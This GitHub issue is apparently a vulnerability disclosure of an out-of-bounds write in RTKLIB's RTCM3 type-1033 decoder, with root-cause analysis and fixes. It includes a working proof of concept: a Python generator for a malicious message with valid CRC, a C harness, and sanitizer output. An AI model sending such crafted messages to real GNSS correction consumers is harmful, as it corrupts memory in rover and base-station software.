Skip to content

Out-of-Bounds Write in RTKLIB decode_type1033 via Unbounded RTCM3 Antenna/Receiver Descriptor Lengths #799

Description

@raefko

Author(s): Nabih Benazzouz - @raefko
Date: 2026-06-09


Executive Summary

@FuzzingLabs identified an out-of-bounds write in RTKLIB's RTCM3 "Receiver and Antenna Descriptor" decoder decode_type1033. The decoder writes attacker-controlled descriptor strings into fixed 64-byte fields of rtcm->sta without bounding the lengths against the destination size. The message carries five 8-bit length counters (n, m, n1, n2, n3, each 0–255) for the antenna descriptor, antenna serial, receiver type, receiver version and receiver serial. For each, the decoder does strncpy(rtcm->sta.<field>, src, len); rtcm->sta.<field>[len] = '\0'; where <field> is char[MAXANT] with MAXANT = 64. A length of 255 makes strncpy write 255 bytes into a 64-byte field and the terminator store land at index 255 - a 191-byte out-of-bounds write, repeated for five separate fields. The only guard present checks that the frame is long enough to contain the bytes; it never compares the lengths to 64.

FuzzingLabs confirmed the defect with a crafted minimal RTCM3 type-1033 message under UndefinedBehaviorSanitizer (Apple clang): rtcm3.c:905 runtime error: index 255 out of bounds for type 'char[64]' in decode_type1033.

Why UBSAN, not ASAN: rtcm->sta is embedded in the large rtcm_t object, so the overflow stays within that single allocation. AddressSanitizer (which checks allocation boundaries) does not flag it, while UBSAN's array-bounds check - which knows the declared char[64] field bound - catches it precisely. The overflow corrupts adjacent sta_t/rtcm_t members.

RTCM3 type 1033 is part of base-station metadata broadcast on NTRIP/serial correction streams; an attacker controlling such a stream can always compute a valid CRC, so this decoder is reachable in the field. This is the highest-severity finding in the RTKLIB review (the only memory write).


Vulnerability Details

  • Severity: High (Out-of-bounds WRITE of attacker-controlled length, up to ~191 bytes past a 64-byte field across five fields, into a heap/stack rtcm_t object, reachable from an unauthenticated RTCM3/NTRIP stream.)
  • Affected Component: decode_type1033() - src/rtcm3.c:905 (and the four sibling stores at :907–910). The same unclamped-length pattern exists in decode_type1007 (~rtcm3.c:469) and decode_type1008 (~rtcm3.c:507).

Environment


Steps to Reproduce

  1. Clone and pin:
    git clone https://github.com/tomojitakasu/RTKLIB && cd RTKLIB
    git checkout 71db0ffa0d9735697c6adfd06fdf766d0e5ce807
  2. Save poc.c (below) and generate the exact RTCM3 message msg.rtcm3 with the Python snippet below.
  3. Build and run under ASAN+UBSAN (halt on the UBSAN array-bounds error):
    clang -fsanitize=address,undefined -g -DENAGLO -DENAGAL -DENAQZS -DENACMP -DENAIRN \
      -D_DARWIN_C_SOURCE -I src src/*.c src/rcv/*.c poc.c -lm -o poc
    UBSAN_OPTIONS=halt_on_error=1:print_stacktrace=1 ./poc msg.rtcm3

Proof of Concept

The exact attacker input is one RTCM3 message: type 1033, station id 0, antenna-descriptor length n = 255, with a total length just large enough to pass the in-decoder length guard. Generate the exact wire bytes:

# build msg.rtcm3 - RTCM3 type-1033 message with antenna-descriptor length n = 255
def setbitu(buf, pos, n, v):
    for k in range(n):
        bit = (v >> (n-1-k)) & 1
        i = (pos+k)//8; mask = 0x80 >> ((pos+k) % 8)
        buf[i] = (buf[i] | mask) if bit else (buf[i] & ~mask)
def crc24q(d):
    c = 0
    for b in d:
        c ^= b << 16
        for _ in range(8):
            c <<= 1
            if c & 0x1000000: c ^= 0x1864CFB
        c &= 0xFFFFFF
    return c
payload = bytearray(267)          # >= 267 bytes so the i+60+8*255 <= len*8 guard holds
setbitu(payload, 0, 12, 1033)     # DF002 message number
setbitu(payload, 12, 12, 0)       # DF003 station id
setbitu(payload, 24, 8, 255)      # antenna descriptor length n = 255  (overflow driver)
hdr = bytes([0xD3, (len(payload) >> 8) & 3, len(payload) & 0xFF])
frame = hdr + bytes(payload)
crc = crc24q(frame)
open("msg.rtcm3", "wb").write(frame + bytes([(crc >> 16) & 0xFF, (crc >> 8) & 0xFF, crc & 0xFF]))

poc.c (complete, self-contained - feeds the message to the decoder byte-by-byte):

#include <stdio.h>
#include <stdlib.h>
#include "rtklib.h"
int  showmsg(char *fmt, ...) { (void)fmt; return 0; }
void settime(gtime_t t)      { (void)t; }
void settspan(gtime_t a, gtime_t b) { (void)a; (void)b; }
int main(int argc, char **argv) {
  if (argc < 2) return 1;
  FILE *f = fopen(argv[1], "rb"); if (!f) return 1;
  rtcm_t rtcm; if (init_rtcm(&rtcm) <= 0) return 1;
  int c;
  while ((c = fgetc(f)) != EOF) input_rtcm3(&rtcm, (unsigned char)c);
  fclose(f); free_rtcm(&rtcm);
  return 0;
}

Root Cause Analysis

decode_type1033 (src/rtcm3.c) reads five 8-bit length counters and copies that many bytes into fixed char[MAXANT] (MAXANT = 64) fields:

char des[32]="",sno[32]="",rec[32]="",ver[32]="",rsn[32]="";
int i=24+12,j,staid,n,m,n1,n2,n3,setup;
n =getbitu(rtcm->buff,i+12,8);                    /* 0..255, attacker-controlled */
m =getbitu(rtcm->buff,i+28+8*n,8);
...
if (i+60+8*(n+m+n1+n2+n3)<=rtcm->len*8) {         /* checks frame length ONLY, not the 64-byte caps */
    ...
    for (j=0;j<n&&j<31;j++) { des[j]=...; i+=8; }  /* local temp copy capped at 31 */
    ...
}
...
strncpy(rtcm->sta.antdes, des,n ); rtcm->sta.antdes [n] ='\0';   // rtcm3.c:905  <-- OOB write (n up to 255)
strncpy(rtcm->sta.antsno, sno,m ); rtcm->sta.antsno [m] ='\0';   // :907
strncpy(rtcm->sta.rectype,rec,n1); rtcm->sta.rectype[n1]='\0';   // :908
strncpy(rtcm->sta.recver, ver,n2); rtcm->sta.recver [n2]='\0';   // :909
strncpy(rtcm->sta.recsno, rsn,n3); rtcm->sta.recsno [n3]='\0';   // :910

The local copy loops are bounded (j<31), so the stack temporaries des/sno/... are safe - which masks the danger at a glance. But the subsequent strncpy(rtcm->sta.<field>, <temp>, <len>) uses the raw wire length as the byte count, and rtcm->sta.<field> is only 64 bytes. strncpy writes len bytes (NUL-padding past the temp's terminator), and rtcm->sta.<field>[len] = '\0' then stores at index len. For len = 255 that is a 191-byte over-write plus an index-255 store into a char[64]. The guard i+60+8*(n+m+n1+n2+n3) <= rtcm->len*8 only ensures the frame carries that many bytes; it never clamps any length to MAXANT. sta.antdes etc. live inside the larger rtcm_t, so the writes corrupt adjacent sta_t/rtcm_t members.


Detailed Behavior

A single RTCM3 type-1033 message with an oversized descriptor length corrupts memory inside the rtcm_t decoder state of any RTKLIB-based consumer of base-station/NTRIP correction streams (rovers, CORS software, NTRIP clients). With five independently controllable lengths, an attacker can shape the corruption across antsetup, the other descriptor fields, and whatever follows sta in rtcm_t.

UBSAN_OPTIONS=halt_on_error=1:print_stacktrace=1 ./poc msg.rtcm3
src/rtcm3.c:905:40: runtime error: index 255 out of bounds for type 'char[64]'
    #0 0x0001030e0db4 in decode_type1033 rtcm3.c:905
    #1 0x0001030d4c20 in decode_rtcm3 rtcm3.c:2117
    #2 0x000102feca48 in main poc.c:14
    #3 0x000188203dfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/rtcm3.c:905:40

AddressSanitizer does not flag this because rtcm->sta.antdes is embedded in the large rtcm_t allocation (the over-write stays within that single object); UBSAN's field-aware array-bounds check is the correct detector here.


Recommendations

  1. Clamp every descriptor length to the field size. Before each copy, clamp n,m,n1,n2,n3 to MAXANT-1 (or reject the message if any exceeds it), e.g. if (n >= (int)sizeof(rtcm->sta.antdes)) n = sizeof(rtcm->sta.antdes) - 1; and likewise for the others.
  2. Store the terminator only at the clamped length.
  3. Apply the same fix to decode_type1007 and decode_type1008 (identical unclamped-length strncpy into sta.antdes/sta.antsno).

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions